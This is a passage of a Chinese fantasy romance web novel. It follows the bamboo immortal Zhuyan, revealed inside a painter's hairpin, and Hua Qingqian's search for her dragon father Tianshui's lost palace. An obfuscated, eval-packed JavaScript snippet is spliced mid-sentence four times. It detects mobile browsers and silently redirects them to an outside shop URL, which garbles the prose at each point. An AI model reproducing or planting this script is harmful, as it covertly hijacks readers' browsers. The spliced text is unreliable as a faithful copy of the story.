思竹眨了眨眼睛:“哦,所以偷走我画里灵气的小贼,不是什么还魂的前朝画鬼,而是这片附在簪子上的元神?” “思路不妨再打开一点。”花清浅提醒道,“或许你口中的前朝画鬼,就是这簪子里藏着的仙人呢?” 她没有多打哑谜,说着便往簪子里注入灵力,想助簪中元神脱离木簪成形。 没想到那仙人元神眼下刚刚稳固,还未补全,所需灵力颇巨,她险些撑不住,吕浮白适时扶住她的手臂,助了她一臂之力。 花清浅感激地看了他一眼,有了他的神力,一条虚影很快从木簪中浮出,在屋内凝实,显现在几人面前。 簪中元神实体高挑清瘦,眉宇间隐隐有一股醇和的清气,一袭青袍,身形挺拔,让人想起山道上笔直的翠竹。 他睁开眼睛看向思竹,眼底全是不满,训斥道:“小小年纪,遇上点事怎么就怕成这样!我只是吸收灵气恢复元神,又没有害你性命,巴巴地求神问佛干什么! 你画里灵气那么多,本来我元神恢复早晚的事,哪用得上外人插手?现在好了,你欠这花清浅人情,我也欠她人情,你简直是送上门来给人家逮的……” 他一开口,仿佛突然变成了一个恨铁不成钢的老父亲,睁眼前仙风道骨的气质毁于一旦。思竹好像有点明白他在说什么,又好像不明白,呆呆地张着嘴坐在原地。 “所以,你就是附身在我木簪上的仙人?”过了好半天,她才反应过来,不可思议地叫出声道:“老天爷,这么多天以来,我居然在跟仙人同床共枕!” 听到最后一句话,整个屋子里静默一瞬,唯有玉京子吧哒吧哒嚼油饼的声音分外响亮。 刚化形的仙人狠命咳嗽几声,说道:“什么仙人,叫得这么疏远,你之前不是还一口一个竹言大师,还说我是你赚钱的金母鸡么?” “你、你就是竹言大师?你成仙了?!”思竹倒吸一口冷气,心道怪不得记载中竹言生卒年不详,原来大师根本就没死。 如今竹言与思竹的故事水落石出,不用再问,花清浅已能拼凑个大概。她从榻上起身,把煞风景的玉京子打发出去,朝思竹笑道: “他不止是竹言,还是你在幻象中看到的、又忍不住心潮澎湃画在纸上的那竿悬铃竹。” 思竹捡来做簪子的那截悬铃木,就是他的真身;而他毕生不辍描绘的高大奇竹,自然是他自己。 传颂后世的孤竹图,每一幅都其实是他的自画像,这么看来,竹言实在是个自恋到极点的神仙。 - 这竹言是个地仙,年岁应当不小,说不定知道香染的踪迹。花清浅顿了顿,充满期待地问他:“竹言大师,您认识香染吗?她是一条白蛇,很漂亮很漂亮的——” “不认识。” “真的不认识?对了,外族不太会欣赏我们蛇族美人,我这么说吧,她就是条白蛇,看上去可能没那么漂亮,很容易被忽略的,您再好好想想——” 竹言不耐烦地抬起手,朝她做了个打住的手势。 “你是不是不懂我们仙者复生的过程?”他反问道,随手拽了一下思竹,要她往里面挪挪,给他在榻上腾出位置: “我在多年之前,是当真濒临形神俱灭,恢复起来很漫长的。多亏了这位小画圣,我的元神逐渐健全,但记忆还没恢复。目前我只记起来两件事,其中并不包括你说的什么白蛇。” 思竹小心翼翼地戳了他一下,在他耳后小声说:“大师过誉了,我不是什么画圣,您才是画竹圣手。” “谦虚什么,这又不是你说‘竹言已死,思竹当立’的时候了?” 竹言戏谑地挑眉,回过头去看她,思竹一时心虚,不敢回避他的视线,两人挨得很近,花清浅下意识觉得她不应该再待在这里,但为了香染,她还是硬着头皮插了句嘴。 “竹言前辈,您说还记得两件事,具体是什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603445|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可否详细说说?” “其一,是我打过一场仗,打得很惨。”竹言视线从思竹脸上移开,不经意地道,“其二就是我的原身。” “看了小画圣的画,我想起来了,我原是一根如此伟岸的悬铃竹,枝叶繁茂,身形俊美……怪不得我的画像能在世间代代流传,这些凡人干别的不行,眼光倒还是不错。” 这些跟香染果然没有半分关系,花清浅有些失望,但也不忘顺势邀请他多在院子里休息几日,得到首肯后便向门外走去。 思竹的声音从背后传来,与花清浅不同,她显然对竹言的自吹自擂接受良好,语气满是惊艳:“这么说来,你原形真有八十尺长啊?确实伟岸,太伟岸了,我在描摹您的遗作时就经常想,怎么会有长得这么俊秀的竹子——” 花清浅无语地关上门,把思竹那些情真意切的赞颂关在屋内,走出几步后画了个结界,朝身边的吕浮白问道:“记得你最熟悉这些魂魄之事,依你之见,仙者复生后,记忆当真是最后才恢复的么?” “是。” 仙人元神受损,记忆定然缺失,许多因战重伤的仙人都会记忆模糊,记不得自己的来历和身份,道心若不坚固,便会因此受到影响,浑浑噩噩消弭在天地间。 竹言元神残缺了这么久,能被思竹的画唤起一星半点的回忆,已经是万分难得之幸了。 “那要等他完全恢复,岂不是遥遥无期了?”没想到仙人复生这么麻烦,花清浅一下子觉得寻到香染的希望又渺茫了几分。 吕浮白看着她垂头丧气的模样,手指忍不住动了动,想替她抚平皱起的眉心。可这不是他这个身份应该做的动作,他知道,现在过于亲密会吓到她的。 他必须忍,这么久了,他可以忍。 于是他没有直接上手,而是不动声色地先靠近了她一步,说道:“不是遥遥无期。” “嗯?” 花清浅抬起头,结果两人挨得太近,她差点碰上他的下巴。她下意识往后退去,吕浮白跟着往她的方向靠,重复道:“让竹言恢复记忆,不是遥遥无期。我们孔雀族有一秘术,可以深入他人魂魄,强行解封记忆。” 孔雀族当然没有这种秘术。但有竹言那节悬铃竹本体在手,再催动水月镜,应当也是一样的效果。 “真的?”花清浅又惊又喜,果然忽略了两人过近的距离,殷切地看着他:“什么秘术,我怎么没听傅玄说起过?” “族内秘术,不值一提,神君不告诉你也正常。” 花清浅那股兴奋劲冷却了点,很快察觉到不对:“等等,如此与天逆行的神通,不会伤到你自己吧?” 吕浮白一愣。 自她假死之后,他多次催动水月镜,所费神力颇巨。若是再要用镜强行回溯他人往事,神体必定有损,不过这点损伤对凤凰而言不算什么,他就没提,更没有想过她会主动问。 “没关系的。”他微微侧首,如冰如火的深沉黑眸里甚至带了点笑,“清浅,只要你想——” 只要她想,让他做什么都可以。她从前不知道,是他的错,他没有说清楚。 他现在终于说清楚了。 48. 第48章 “你这说的什么话,我是想找香染,但我也不想害你受伤啊!”花清浅不可置信地叫道,反手抓住他的胳膊: “要是害你受伤,我这辈子都会心神不宁,便是寻到香染也不开心。以后不许再想这样的馊主意了,听到没有?” 吕浮白垂着眼帘点点头。 花清浅眯起眼睛,不太相信他这个保证。 回想过往种种,不知是不是凤凰神君的缘故,他对她的事似总是热心得过分了。她怕他一意孤行,干脆想出一个耍赖似的主意。 “这样吧,你现在就发誓,无论如何不会为了我伤到你自己,一分一毫都不行!” 明媚娇俏的少女扬着脑袋,棕色的水眸故作霸道地眯起,逼他发誓不会受伤。 她居然这么关心他。 一时之间,吕浮白只听得到自己心跳的声音,那样急促而明晰。 “……我发誓。”他从善如流道,神色温柔得让人心醉:“我不会受伤,一分一毫也不会。” 本决心投身扑火的飞蛾,被耀眼而柔和的光焰本身挡住,她告诉他,不必粉身碎骨。 - 另一边。 与竹言彻谈一番,思竹不仅解开了关于画作失灵的诸多疑问,也知晓了许多从前被她忽略了的真相。 比如她捡到他真身的那几日,光顾着画画买药,没心思吃饭,本来应是一头栽倒在野地里、被暑气蒸干的结局,他看不过眼,骂骂咧咧渡给了她一点灵力,才没有让她把自己饿到一命归西; 比如她描摹他画作时几次用墨不对,调的颜色太浅,他怎么喊她都听不见,他实在无可奈何,才出手同她一起掌握笔杆; 再比如,她与母亲从穎朝来到大焱,一路上没有遇到劫匪,不是因为幸运,而是因为他一直默默在簪中护持…… 桩桩件件数下来,竹言对她的恩情倒像是远远多出他取她的灵气。思竹是个实心眼,闻言心里过意不去,便想报答他些什么才好,但竹言身为地仙,如今元神又恢复完整,好像也不需要报答。 她将心中所想说了出来,听他早有盘算似的笑道:“难得你有良心,这个好说。如今我住在这里,那花清浅有求于我,多半不会短我吃穿,可这满院的人瞧着于丹青一窍不通,半点情趣也无,长此以往,我怕是要闷死。” 思竹听懂了他不怎么隐晦的暗示:“您想我在这里画画给您看?”可是他自己就画得很好,何必要她班门弄斧呢? “嗯。”竹言清清嗓子,一挥袖道,“你天分不错,若有我指点,能进步得更快些。” 思竹本就圆溜溜的眼睛顿时睁得更圆了,她捂住嘴,手脚敏捷地在原地跪下,对他行了个欢快的大礼,抢在他后悔之前把师徒之名定了下来。 - 这一人一竹在房中干了什么,花清浅一概不知。她只知道,思竹当天中午回家探望了一次母亲,之后便带着大包小包的画具再次拜访,画架和颜料在不大的凉亭里摆得满满当当。 她还执着地想要为她画像,花清浅拒绝的话刚到嘴边,就见竹言杵在一旁抱起双臂,貌似不经意地自言自语: “哦,我上次恢复记忆,好像就是多亏了小画圣画里的灵气。要不要让她画,你自己斟酌。” 他叫“小画圣”的语气比起之前多了一丝亲昵,花清浅在他和思竹之间来回看了两眼,心里了然,竹言这是来给思竹撑腰的。 仙人在自家屋檐下,花清浅不得不低头。她认命地捂住脸:“……行,画就画吧。” “多谢姑娘!我必不负姑娘信任,一定把你画得比天上的神仙还漂亮!!”思竹喜不自胜地蹦哒两下,仿佛生怕她后悔似的,立刻开始研磨颜料。 既然决定了要画,花清浅也不忸怩,因她今日不出门,便只套了件蜜色百草纹长衫,头发用简单的樱花紫带束着披在脑后,装饰过于随意,怕思竹不好落笔,还主动提出要换身衣裳,却被思竹拦了下来。 “这样就很好。”思竹捋着画笔笔尖说道,“美人在骨不在皮,姑娘穿着打扮虽然平常,可这张脸摆在这里,就已经很像古画中的美人了。” 她这话并不是刻意恭维,花清浅的五官本身就很明艳,婉眉水眸,一点泪痣动辄生情,当下的春光更是照映得她肤色如雪,唇瓣红嫩,动人心魄。 画像画的是神韵,有这张脸、这副身段出现在画像里,看画的人决不会注意到她穿了什么。 说起美人入画,思竹有大把心得,当下侃侃而谈,话里话外把花清浅从头夸到尾,连她肩头长衫开的线都是神来之笔。 “那我要摆什么姿势?” “什么都行,自然就好。” 花清浅想起还有一本西陆游记没看完,便招手将那本书从屋里取出,径自垂头开始翻页。 玉京子看得蠢蠢欲动,也迈步来到凉亭附近,刻意摆出一个风流倜傥的姿势,试图引起思竹的注意:“那个小画圣,你看我长得怎么样?” “公子自然很是俊俏。”思竹老实答道,“但我真称不上画圣,还请公子别这么叫我了。” 之前竹言叫她小画圣,也没见她排斥,怎么他这会叫一下就不行了?玉京子有些疑惑,但此刻称呼事小,画像事大,他没有多想,就接着她的话道: “好的,思竹。那你看我这么俊俏,可不可以为我也画一张像?” 思竹手上勾画的动作没停,神情却变得犹豫起来。一段画完,她才在洗笔的空档里抬起头,说道:“抱、抱歉,可是我画不出公子的像。” “为什么啊?” “……”思竹看向竹言,见他容色不变点了点头,当下底气充足,说道:“因为公子的像虽然俊俏,但却、却有点假,我看不透,因此画不出来。” 见玉京子还傻愣愣地瞪着眼睛,一副没有听懂的样子,竹言一巴掌拍上脑门,无语地冲他抬手指了指鼻子。 玉京子这才想起,他这鼻子是花清浅给他变的,不是他原本的长相,难怪被思竹说假。 “不是吧,这你都看得出来?”他大吃一惊,要知道花清浅的变形术堪称天下一流,许多大妖都没看出来他鼻子是假的,思竹一介凡人之身,却居然能一眼看穿! “佛告须菩提,凡所有相,皆是虚妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612660|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若见诸相非相,即见如来。”思竹说,“我虽未达到见如来的境界,但常年作画,洞观事物本真,已成自然。观不到本真,我便实在无法为公子画像,还请见谅。” 玉京子一向最在意外貌,花清浅怕他被思竹打击到,忙向他挥手: “好了,方圆十里谁不知道你俊俏,非要用画像来证明么?看看吕浮白,人家长相不比你差吧,同样也没有画像,人家就比你耐得住气许多。” 闻言玉京子的注意果然被成功转移,他抬头看向吕浮白,颇不服气地撇撇嘴,心道那人哪里耐得住气了?那人虽然站在檐下,可一双眼睛使劲在往这边瞅,显然也很眼馋画像,只不过没有明说罢了。 他摇摇脑袋,向吕浮白走去,准备提醒他维持孔雀大明王世子的威仪,不要巴巴地盯着凉亭那边看。 花清浅见他离开,松了口气,转头看到思竹正皱着眉头下笔,竹言在她身边教训道:“此处笔锋可以急转,收敛成这样干什么?” “你看清楚,那第三捋流苏是草青色还是豆绿色,想好了再蘸墨!” “下笔稳一点,画她的腰不能太小心,这根线要往下沉!沉!再沉!” 他说一句,思竹点一下头,乖乖按他说的做,听到最后那句时,她终于有了点疑问,下笔的动作慢了一瞬。 “我也想往下沉,但这样一来姑娘未免显得太妖孽了些……”腰肢再细再软也要有个度,这根本不是凡人能扭出来的弧度啊! “花清浅是蛇妖,不妖孽才不对劲,你大胆画。”竹言没了耐性,直接抓着她的手往下摁。 花清浅对上思竹震惊的目光,尴尬地张了张嘴,想解释些什么,看她与竹言那般姿势,又觉得还是不开口的好。 好容易捱到思竹画完最后一笔,她才如蒙大赦般起身,走到新鲜出炉的画像面前欣赏了一眼。 画里的花清浅并不是她先前刻意维持的看书姿势,而是倚靠在凉亭的栏杆上,神情闲适地望着近处的草木。 她一双水眸眼尾上扬,浓长睫毛根根卷翘,纤毫毕现,右眼下一点泪痣分外妖娆,下半身影隐没在枝叶后,看不清晰,但从露出来的线条,也能看出那截腰肢极细极软,简直像是水蛇盘踞在花间。 思竹将她的神韵抓得极准,恍惚之间,她都觉得另一个自己要从纸上走出来了。 “你这画技确实好。”花清浅客观评价,“灵气也很是充足。”难怪竹言伤得那么重,却在遇见她后恢复得那么快。 此时吕浮白做好晚饭,同玉京子一起走了过来,等两人看完画后,竹言在思竹满满舍不得的目光中碰了碰画纸,画上灵气顺着他瘦长的指尖逐渐消失。 最后他抽开手指,只见画中美人皮还是皮,骨还是骨,那截腰肢依然细得能杀人,可看上去就是不如方才好看了。 玉京子和思竹脸上顿时浮起惋惜之色,花清浅倒不在意这画像,只顾着看向竹言:“仙人前辈,可唤醒了什么记忆么?” “……”竹言没有答话,过了好一会,他迟钝地眨眨眼,像是才反应过来什么一般,答非所问道:“我饿了,先吃饭。” 49. 第49章 晚饭是花清浅喜欢的银耳百合羹,吕浮白不知何时要到了酒楼的秘方,做出来的百合羹与她从前买来的一模一样,甚至更香。 她给自己盛了满满一碗,喝完犹不满足,还想多舀几勺,被吕浮白伸臂拿住调羹:“晚上吃太多容易积食。你若还想要,我明早再给你做,好不好?” 旁边正在大喝第三碗百合羹的玉京子:“……” 怎么回事,区别对待也就算了,关键是这孔雀世子的语气,为何忽然像极了之前的东方容楚? 花清浅也觉得吕浮白现在过于温柔,温柔得让她莫名其妙有点不好意思:“我、我知道,我不吃就是了。” 对面思竹好奇地在两人身上来回张望,竹言一把摁下她脑袋。 他用眼神让不省心的徒弟好好吃饭,见花清浅放下碗筷,与吕浮白之间的气氛也不再那么诡异,这才清了清嗓子,开口问道。 “你是香染的什么人?” “我是她女儿。”花清浅说,想想不敢太确定,又又补上一句,“应该是吧,蛇谷的蛇都是这么说的。” 竹言复杂地看了她一眼。花清浅发现,他在不面对思竹的时候,或是不画画的时候,气度都还是挺唬人的,看得出是历经千年沧桑的悬铃竹仙。 “我记起来了。”他悠悠叹道,“当年我们打仗时,天水和香染好像确实说起过一颗蛋。” 花清浅一双眼睛腾地亮了起来。 “我爹叫做天水?好好听的名字,对了,他是只鹌鹑么?” 吕浮白在旁边微不可见摇了摇头:当年他就说了,鹌鹑与白蛇生不出来花蛇,她居然还是如此执着。 “鹌鹑?当然不是。你怎么会觉得你爹是只鹌鹑?”竹言意味深长地笑了笑,“天水要是知道,定要被你气死了——他可是应龙,普天之下除了凤凰神君之外最尊贵的存在。” - 竹言并没有记起全部过往,但在他模模糊糊的记忆片段里,已能认出天水与香染的影子。 他与天水在南海结识,彼时竹言是住不惯仙界的悠闲地仙,天水则是一统水族的妖尊蛟龙,两人一见如故。竹言在南海之滨画了张天水和他水族部下的画像,天水郑重收起,回赠他一坛深海佳酿,那是竹言迄今为止喝到过最好的酒。 再次见面时,竹言还是地仙,天水却已修得应龙之体,直接飞升成了真神。 “原来我爹是应龙……”花清浅喃喃道,没想到她还真有修成应龙的机会。 当年凤凰神君说她有应龙血脉,居然不是空话,那他说期盼她早日飞升,到时另有大礼,大约也是真心的。 花清浅心里有股说不清道不明的滋味,她摇了摇头,不再想傅玄,继续问道:“竹前辈,您确定吗,我就只有这一个爹?” 此句惊世骇俗大逆不道的话一出,连吕浮白都错愕地看向她,竹言更是皱起了眉毛:“什么意思,你还想有几个爹?!” “哎呀,我不是那个意思。”她摆摆手,“你们不知道,仙界的小龙王曾给我讲过一个故事……” 她把岐深说的往事复述了一遍,当时她只是听个乐子,现在想来,岐深口中那条‘长着两副翅膀的龙’估计就是天水,而那时香染分明是有一个鹌鹑夫君的。 “……所以我才一直觉得,我爹是只鹌鹑。” “不可能,只要你娘是香染,你就不可能有第二个爹。”竹言十分肯定地道。 花清浅支起下巴,将信将疑:“难道小龙王未知全貌,当年的事另有隐情?” 竹言冷笑道:“我不晓得你说的鹌鹑是怎么回事,可我晓得天水的德性。那厮生性霸道执着,看香染跟看眼珠子似的,要是有第二个人想要香染,肯定得从他尸首上跨过去。”而有那个能耐杀他的人,恐怕还没出生呢。 他这话倒也跟岐深故事里那条龙的行径对得上,花清浅发觉这个问题复杂,不再细想,转而回到正事上:“竹前辈,那您知道我娘亲的下落吗?” “我见到她的最后一面,是在盘龙岗。”听到这个地名,吕浮白视线骤然凛冽起来,竹言没有发觉,半眯着眼回忆道: “她和天水站在一起,我站在他俩旁边,我们有一场恶仗要打——至于那到底是什么仗,为什么要打,我却记不大清了,只依稀记得与天水的部族有关。” “这里就是盘龙岗。”他叫思竹展开她带来的那幅古战场图,指着四周起伏的山峦说道。 “这些灰烬一般的草木,其实是天水的部下,那些妖族尸身被神火焚烧,洋洋洒洒落到地上,就如草木成灰一般。在我身边的这抹亮色,是香染的鳞片闪光——嗯,小画圣画得不错。” 他说得轻巧,当年那场战争何其惊心动魄,却也可以想见。花清浅望着思竹的画,想象着香染与天水与友人一同应战的模样,微微勾起唇角。 不论当年战事为何,反正爹娘看起来都很能打,作为女儿,她很满意。而且之前天道告诉她,香染还活着,天水估计也还活着,这就够了。 “再之后的事,我就不知道了。”她回过神来,听竹言说道,“不过,看我伤成这样都不管我,香染他们肯定也是自顾不暇,凶多吉少。” 花清浅问过天道,知道香染没有性命之忧,据竹言的话推断,她与天水应当是被困在了某处。 至于两人究竟被困何处,竹言也没有丝毫头绪,她别无办法,只好拿出最后一道线索。 ——她从领口拽出神牌,摘下来递到竹言面前,期期艾艾道:“竹前辈可认识此物?” “这上面缺了样东西。”竹言才接到神牌,还没仔细看便脱口而出。 “哦,我知道。”花清浅一边说,一边心虚看了眼吕浮白,“这玉牌实在太灵敏,时不时就要往傅玄神宫门口飞,我怕它哪天不小心拽着我飞上天,就先撤了它的部分灵力。” 听到这话,吕浮白果然无奈地看了她一眼,她知道自己此举对神君不敬,不敢与最护祖宗的鸟族世子对视,只专心看向竹言,却见他摇了摇头,说道,“不对。” “什么不对?” “缺的东西不对。”竹言说,“这东西少了点灵气不假,但更要紧的,是少了中间镶嵌的那两块惊鸿木。”他对这东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627653|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的印象可太深刻了: “这块玉,是由盘龙岗山中名石凿出,天水没用灵力,学着人间匠人一点点雕刻的。 中间镶嵌了两块万万年惊鸿木,我没有说错,是两个万——百年惊鸿木都是千金难求,这可是两个万,在天地诞生以前,就先存在的惊鸿木,你想想那个价值——然后送给了香染,当是定情信物,后来还用此物做了他神宫的钥匙。” 惊鸿木可以倒映记忆,也可以帮人恢复记忆,这属于妖族常识,花清浅对此并不陌生。但她对竹言话里的另一个词,倒是陌生得很:“神宫?什么神宫,天水还有神宫?” “有啊,他可是正儿八经的真神之尊,怎会没有神宫。他住的还是上古时那位应龙留下来的震云宫,听说很是气派,可惜我没来得及画下来。”竹言说。 上古神宫哎,玉京子双手捧胸,发出一声惊呼:“清浅,我怎么忽然觉得你身价涨了百倍!” 竹言早八百年都说了她是妖尊之女,他居然现在才反应过来吗?思竹瞟向玉京子,之前竹言说他与花清浅都是蛇妖,她还对他隐隐有几分害怕,现在发现他这么迟钝,这份害怕倒是无形中消散了不少。 玉京子不是第一次犯蠢,花清浅都习惯了,根本懒得理他,只问竹言:“那这个震云宫在哪,竹前辈记得吗?” 竹言叹了口气。 “我不记得。且震云宫独属于应龙一族,外人只有拿到完整的钥匙,才能找到神宫所在。现在没有惊鸿木,钥匙是残缺的,故而就算我记得震云宫在哪里,也没法带你去。” “天水与香染在当年都帮过我许多,天水贵为应龙,自不必提,香染还未飞升,却惯会救死扶伤,要不是他们二位,我断活不到今日。”他感慨道,眉头轻蹙,满载因怀念故人而起的清苦: “然而今日,我能记起来的只有这么多了,也只能帮你到这里,怪我修为不够。” 花清浅忙道:“前辈说的哪里话,这怎能怪您?您能告诉我爹娘的这么多事,已经帮我大忙了,我感激您都来不及呢!” 思竹没有说话,将手搭在竹言肩膀上,算作无声的安慰。竹言缓缓侧首,看向她还沾着颜料的指尖,眼中百感交集。 见状,花清浅明白已不用她再说什么,知趣地起身,顺道将玉京子与吕浮白拽出了饭厅。 玉京子还惦记着他私藏的八宝饭,很快回了自己房间,剩下吕浮白与她站在春日皎洁的月光下,两人对视一眼,同时启唇: “傅玄可认识应龙——” “你可要问问神君——” 两道声音完美重合在一起,吕浮白含着一丝笑意看向她:“你先说吧。” “啊?我、我先说哦,好。”花清浅看着他清冷的五官,那双黑亮的眸子在月光下像极了傅玄,她心神飘忽了一瞬,不自然地咳嗽一声,逼着自己镇定下来说道: “傅玄跟应龙是同时期的真神,他也跟我讲过鸿蒙之初的事,听起来他好像认识应龙,但好像又不认识,不知道是不是因为他觉得应龙是我祖宗,所以不方便说。我想问问,他跟你提过应龙没有?” 50. 第50章 她想知道傅玄是否有应龙的线索,却不敢直接去问,只能从他这个“鸟族小辈”处旁敲侧击,可见是真不想见到神君本尊。 在她这里,傅玄当真是缘分断尽。 “……神君提起应龙不多,并非是不方便与你说。”吕浮白垂眸掩去一丝郁色,淡淡开口,“是他真的与应龙不熟。” “我听父王说过,神君虽生在洪荒,可生性孤僻冷漠,除了偶尔交手以外,跟那一代所有神兽都不熟。” 大明王吕简在鸟族也算是傅玄近亲,他的话应该可信。花清浅顿时有几分泄气:“这么说,连傅玄也不知道震云宫在哪里了?” 吕浮白微微低下头,“嗯。” “也没关系,那我就自己找吧!”明明是她找不到神宫,吕世子这模样却仿佛比她更沮丧,花清浅拍拍他肩膀,语气故作轻松道: “既然是上古应龙留下来的神宫,想必就在神界之内,我有神牌,去神界找找就是了。刚好你也是上神,陪我走一遭如何?” 吕浮白自然应允。 事不宜迟,花清浅今夜又无心睡觉,索性当场将灵力注入神牌,纤纤玉指握于其上,只见一瞬间灵光大作,眼前已不是暮色沉沉的院子,而是傅玄重明宫巍峨的宫门前。 吕浮白动作不慢,下一刻就出现在她身边,她忙冲他招了招手,低声道:“小声点,别惊动了神君。” “……好。”吕浮白从善如流,跟着她绕开重明宫大门,开始搜寻震云宫的身影。 花清浅已经多年没来神界了,如今的天兵巡逻明显严厉许多,她左闪右躲,累得够呛,连感慨一句物是人非的空档都没有。 再一次跟着她钻进两道逼仄的宫墙缝隙中,吕浮白终于忍不住,轻声问她:“清浅,为何要躲?” “你傻啊,天兵在此发现了妖族,定会上报傅玄,那跟傅玄发现我有什么区别?”花清浅说着,忽然一顿:“等等,我不能暴露身份,你却是光明正大的上神,你跟着我躲什么?” 她随着吕浮白的目光低下头,看见自己紧紧攥着他的手——原来他被她紧张之下硬拖着跑了这么久,难怪他语调有些不自然。 “对、对不起啊。”她连忙松开手,“你不用躲,先出去吧。” 吕浮白看着被她松开的手腕,叹了口气,说道:“你我一起出去。” “外边还有天兵——” “你变作原形,藏在我衣裳里,他们不会发觉。”他一张俊脸好像有些发红,“你放心,没人敢搜我的身。” 花清浅水眸吃惊地睁大:“为了傅玄,你居然可以做到这个地步?不过你想清楚,我明面上可是傅玄的亡妻,你还让我躲进你的衣裳里?” “……”吕浮白闭了闭眼,“我帮你,不是为了神君。” “那是为了什么?” “是为了你。” 他一反往日含蓄,定定看进她眼底,神情认真得吓人,花清浅被这句近似表白的话震到,一时说不出话。 “我看清了,你对神君逐渐心灰意冷,是他的错。他负了你,我虽为鸟族,却也不齿——” 花清浅忙捂住他的嘴:“这是傅玄神宫周边,你怎么敢这么说他,不要命啦?!” 他仍是双唇紧抿,无辜又专注地看着她,花清浅终于反应过来这个眼神的含义,心里不由一跳,半晌才找回了声音,强行装作若无其事状开口。 “好吧,你先出去,我藏在你的袖子里。”她说,“这是你自己要求的,可不许嫌我鳞片冰到你了。” 吕浮白从善如流,柔声道:“嗯。” 不嫌弃。 - 花清浅藏在他袖子里,小心探出头去,认真看着每一处神宫上的牌匾。吕浮白踏云速度出乎意料的快,然而直到将整个八十一重天看遍,也没有找到震云宫的半点影子。 “看来震云宫被用术法隐藏起来了。”花清浅没有感到多么意外,上古真神的宫殿,若能这么轻易找到才是奇迹:“本来就是碰碰运气,找不到就算啦,我们走吧。” 两人回到慕城小院已是翌日,晨光稍亮,只听玉京子惊慌失措的声音响起: “你们怎么才回来,竹言不见了!” 花清浅疾步走进竹言客房,门里果然人去房空,只有桌上留了枚竹哨,旁边是一封厚厚的信。 都千年老竹子了,怎么还学人家搞什么不告而别的把戏?她带着薄怒打开信,竹言遒劲洒脱的字迹映入眼帘: “你这院子无甚趣味,我先随小画圣回家了,若有十万火急之事相求,吹响这枚竹哨即可。但切记,无事不要来烦我,我若想起来什么要紧事,自会亲自前来通知你。” “至于钥匙上的万万年惊鸿木,我思来想去,那两块木头应是大战时落在了盘龙岗某处,你若想补全钥匙,可去盘龙岗看看。” 再往下看,内容便成了他记忆里天水与香染的往事,他记不起完整故事的来龙去脉,但只要一记起来,他就写得分外详细,譬如初见时天水的外貌身姿,便被他一一写得细致无比,甚至还附了张小像在旁边。 “竹前辈可真是好人呐。”花清浅叹道,方才心急而起的埋怨消失得无影无踪。 她轻轻抚过天水的那张小像,画面上的男子姿容清狂,眼神锐利,流露出世间一等一的恣意桀骜。从前她在蛇谷看过香染的画像,香染美得温柔,同这般锋利俊朗的妖尊在一起,想想也挺和谐。 她数了数那沓信纸,一共七十八张,看起来厚,其实不到一日就能看完。她不舍得一下子看完,将剩下的信纸小心翼翼扎成一捆,同那枚竹哨一起珍重放进乾坤袋里。 “清浅,你找到震云神宫了吗?”玉京子在她后头伸长脖子张望着,“竹言给你留下什么线索没有?” “先不找神宫了。” “为什么啊?” “没有完整的钥匙,就算找到震云宫,咱们也进不去。”过了一日,花清浅骤然得知父母消息的那股惊喜慢慢平复,她稍一思索,很快重新锚定了方向:“当务之急,是要找到那两块万万年惊鸿木,补全神牌钥匙。” 玉京子点点头:“行,找惊鸿木,那我们现在便出发去盘龙岗?” “当然不是。那万万年惊鸿木传说有使人魂魄归体之效,乃是何其稀缺知名的宝物,那盘龙岗又不是被结界环绕起来的不毛之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643973|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,这么多年过去,多少修士、妖族都经过那里,想必那两块惊鸿木早已被识货之人拿走了。” 玉京子听得紧皱起眉:“那怎么办?” 花清浅看向吕浮白。 “传说上古孔雀族开屏,施展招魂复生术时,用的引子便是万万年惊鸿木?” 吕浮白道:“不错。” “那么孔雀族内,应该还留有找寻这种惊鸿木的方法吧?” 花清浅对吕浮白眨眨眼,却发现他神情欲言又止,心里生出一股不详的预感。 果然,只听他沉声说道:“本来是有的。可在我沉睡时,青逸山遭劫,记载惊鸿木的那本秘籍已被人掠去了。” 玉京子忍不住翻了个白眼。 